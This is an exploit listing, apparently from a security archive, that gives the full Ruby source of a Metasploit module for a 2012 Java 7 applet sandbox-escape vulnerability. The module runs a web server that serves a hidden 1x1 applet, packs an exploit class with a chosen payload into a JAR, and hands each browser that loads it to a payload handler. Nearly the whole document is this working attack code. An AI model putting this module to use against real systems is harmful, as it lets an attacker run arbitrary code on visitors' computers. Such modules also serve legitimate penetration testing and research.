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Java 7 Applet Remote Code Execution

Java 7 Applet Remote Code Execution
Posted Aug 28, 2012
Authored by jduck, sinn3r, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability in Java 7, which allows an attacker to run arbitrary Java code outside the sandbox. The vulnerability seems to be related to the use of the newly introduced ClassFinder#resolveClass in Java 7, which allows the sun.awt.SunToolkit class to be loaded and modified. Please note this flaw is also being exploited in the wild, and there is no patch from Oracle at this point. Our module has been successfully tested on multiple setups, including: IE, Firefox, Chrome and Safari on Windows, Linux and OS X, etc.

tags | exploit, java, arbitrary
systems | linux, windows, apple, osx
SHA-256 | 5ad9244a813015246c4b0e8bd5e77b71df43a8026083619c5950c1be4875177c

Java 7 Applet Remote Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })

def initialize( info = {} )
super( update_info( info,
'Name' => 'Java 7 Applet Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability in Java 7, which allows an attacker to run
arbitrary Java code outside the sandbox. The vulnerability seems to be related to
the use of the newly introduced ClassFinder#resolveClass in Java 7, which allows
the sun.awt.SunToolkit class to be loaded and modified. Please note this flaw is
also being exploited in the wild, and there is no patch from Oracle at this point.
Our module has been successfully tested on multiple setups, including: IE, Firefox,
Chrome and Safari on Windows, Linux and OS X, etc.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability Discovery
'jduck', # metasploit module
'sinn3r', # metasploit module
'juan vazquez', # metasploit module
],
'References' =>
[
#[ 'CVE', '' ],
#[ 'OSVDB', '' ],
[ 'URL', 'http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html' ],
[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-vulnerability-analysis.html' ],
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/new-java-0day-exploited-in-the-wild/' ],
[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html' ]
],
'Platform' => [ 'java', 'win', 'linux' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
}
],
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 26 2012'
))
end


def on_request_uri( cli, request )
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect(cli, get_resource() + '/', '')
return
end

print_status("#{self.name} handling request")

send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end

paths = [
[ "Exploit.class" ]
]

p = regenerate_payload(cli)

jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-XXXX", path ), "rb")
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end

print_status("Sending Applet.jar")
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

handler( cli )
end

def generate_html
html = "<html><head></head>"
html += "<body>"
html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
html += "</applet></body></html>"
return html
end

end
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